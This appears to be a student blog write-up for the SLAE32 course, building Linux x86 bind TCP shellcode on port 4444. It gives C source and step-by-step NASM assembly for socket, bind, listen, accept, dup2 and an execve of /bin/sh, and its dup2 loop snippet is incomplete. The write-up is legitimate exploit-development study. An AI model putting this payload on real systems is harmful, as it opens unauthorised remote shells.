SLAE: Custom TCP Bind shell

6 minute read

*all supporting code can be found here*

slae32 Student ID: SLAE - 1532

This assignment will see us create and examine shellcode with a Bind TCP shell as the payload.

We start by retrieving a bind TCP shell written in C so that we can break it down to determine how we will go about building our own shellcode:

#include <stdio.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 

int socketfd; 
int socketid; 

struct sockaddr_in hostaddr; 

int main() { 
    //Create socket, which returns the file descriptor so we can interact with it
    socketfd = socket(PF_INET, SOCK_STREAM, 0); //here we specify that it is an ipv4 stream type of communication and protocol is 0 (TCP/IP)

    //Initialize sockaddr struct 
    hostaddr.sin_family = AF_INET; //address family set to AF_INET(which is ipv4)
    hostaddr.sin_port = htons(4444); //htons is neccesary so endianness does not reverse how the port is stored in memory, thus scrambling it
    hostaddr.sin_addr.s_addr = htonl(INADDR_ANY); //htonl is neccesary so endianness does not reverse how the address is stored in memory, thus scrambling it

    //Bind our socket as defined
    bind(socketfd, (struct sockaddr*) &hostaddr, sizeof(hostaddr)); 

    //Start Listening
    listen(socketfd, 2); 

    //Accept incoming connection 
    socketid = accept(socketfd, NULL, NULL); 

    //Create new file descriptors for stdin stdout and stderror, so the client shell will recieve these from our socket 
    dup2(socketid, 0); 
    dup2(socketid, 1); 
    dup2(socketid, 2); 

    //Use execve to excecute /bin/sh from within our program
    execve("//bin/sh", NULL, NULL); //extra slash is to ensure we have to 8bit values to push onto stack later on

After looking at the above we know we will need to make use of the following syscalls and functions under socketcall:

  • __NR_socketcall 102
    • SYS_SOCKET 1
    • SYS_BIND 2
    • SYS_LISTEN 4
    • SYS_ACCEPT 5
  • __NR_dup 41
  • __NR_execve 11

Now, the SYS_SOCKET function takes 3 args as per man page:


The first arg, domain will be set to AF_INET. As per our .c code, we already know what it represents (IPv4) The second arg, type, will be set to SOCK_STREAM. Again we know what this does thanks to the breakdown of our .c code. The third and final arg protocol will be 0, as according to the man page this only changes under specific circumstances and at this point is beyond the scope of the exercise.

I ended up taking the easy route and using google to obtain these values, as this was the path of least resistance.


To start converting to assembly we need to understand that syscalls get stored in EAX, with subsequent args going in EBX, ECX, EDX etc. For socket call:

  • syscall value obviously goes in al
  • function type (socket, bind, listen etc) goes in bl
  • args to function go in ecx.

We need to both zero out our registers with XOR, and place our values in the lowest possible register, example for setting up socketcall below:

    xor eax, eax ; we do this both to create a 0x0 value and get eax ready
    push eax ; push 0x0 as third arg
    push 0x1 ; for second arg, the value of SOCK_STREAM
    push 0x2 ; first arg is AF_INET, set address family to ipv4
    xor ecx, ecx ; clear out ecx
    mov ecx, esp ; move our arg values into ecx (place a pointer to these values with an address stored in ecx)
    mov al, 102   ; we move the socketcall syscall value into al, to avoid padding
    mov bl, 1     ; we set function to 1, which is the value of socket (this will change later on to accomodate accept, listen, bind etc)
    int 0x80 ; call system interrupt 
    mov esi, eax ; we store the returning value of our syscall for later use in other functions

We now move onto setting up the bind section of the shell. A quick rundown of what we need to achieve here is:

  • set sycall as socketcall again
  • this time function will be 2 (SYS_BIND)
  • we will need to reference the result of our previously executed syscall (now stored in esi)
  • Specify listening address as (all available)
  • Specify the port value (/x11/x5C‬, then /x5C/x11 for little endian)
  • Specify adress length

I ended up having to do some further research into setting the IP address, as per the man page for bind, the second arg is struct sockaddr, as per man 7 ip this means the address needs to consist of: sin_family, sin_port and sin_addr


struct sockaddr

    xor ebx, ebx
    ;create struct sockaddr
    push ebx ; push 0x0 on for listening address
    push word 0x5C11 ; push on reversed value of 4444
    push 0x2 ; push value of AF_INET MAY NEED TO BE WORD??
    mov ecx, esp ; store our created sockaddr struc in ecx
    push 0x10 ; push length of address on (16) third arg
    push ecx ; push our created structure on as second arg
    push esi ; push created socket fd on as first arg
    mov ecx, esp ; move our values into ecx for the syscall
    mov bl, 2 ; we set function to 2, which is the value of bind
    xor eax, eax
    mov al, 102
    int 0x80

The next part of the code will set up a listener, man page excerpt below.


SO for the listener we need to provide the socket and backlog length, a simple arg that simply specifies the queue for pending connections.

    push 0x1 ; set backlog to 1 (arg 2)
    push esi ; push socket fd on (arg 1)
    mov ecx, esp ; mov the parameters required for listen into ecx for when we call the syscall
    mov bl, 0x4 ; listen function value
    mov al, 102
    int 0x80

Now we move onto the accept function. As per man page, arguments will include our socket fd, struck sockaddr and addr length.


    push 0x10 ; length
    xor eax, eax
    push eax ; address
    push esi ; socket fd
    mov ecx, esp
    mov bl, 0x5 ; value for accept function
    mov al, 102
    int 0x80

The DUP syscall took me a long time to figure out, it was only after reviewing other students code multiple times I realised exactly what is needed, and it is a lot simpler than I initially thought. Essentially all we need to use DUP2 for is to copy FD 0,1 and 2 from our OLD FD into a NEW FD. I created a loop as below:


    xor ecx,ecx

    mov al, 63 ; value for dup2
    int 0x80 ; call dup2, putting our zeroed value in
    inc ecx ; increase by 1
    cmp cl, 0x4 ; run through 0,1,2
    jne loop ; continue when it hits 3

All that is left to do is to spawn our shell, we do so with execve

    xor eax, eax
    push eax

    push 0x68732f6e
    push 0x69622f2f

    mov ebx, esp ; the null and //bin/sh get moved into ebx
    push eax ; push another null onto stack
    mov edx, esp ; move the null into edx
    push ebx ; the null and //bin/sh get pushed back onto stack
    mov ecx, esp ; they then get moved into ecx
    mov al, 11
    int 0x80

With all our pieces in place we compile our .nasm code and test it, to make sure that the next steps are not wasted on bad code (this was a good idea, as I realised I forgot to point the stack pointer to ecx in my accept section, which meant my program would just spawn /bin/sh locally xD) After all this, we can see as below I was able to connect to the bind shell:



At this point I felt the urge to start enumerating and look for privesc, however I contained myself and continued with the exercise. Using some commandlinefu I extracted the raw shellcode from my confirmed working binary: connect_to_shell

We will now WRAP this assignment up by creating (read: stealing and modifying) a python wrapper that will allow us to customise the port. We will take our shellcode from the previous step and use that as our template, with \x11\x5c (4444) taken out.

A per screen below the script is both fool-proof and accurate.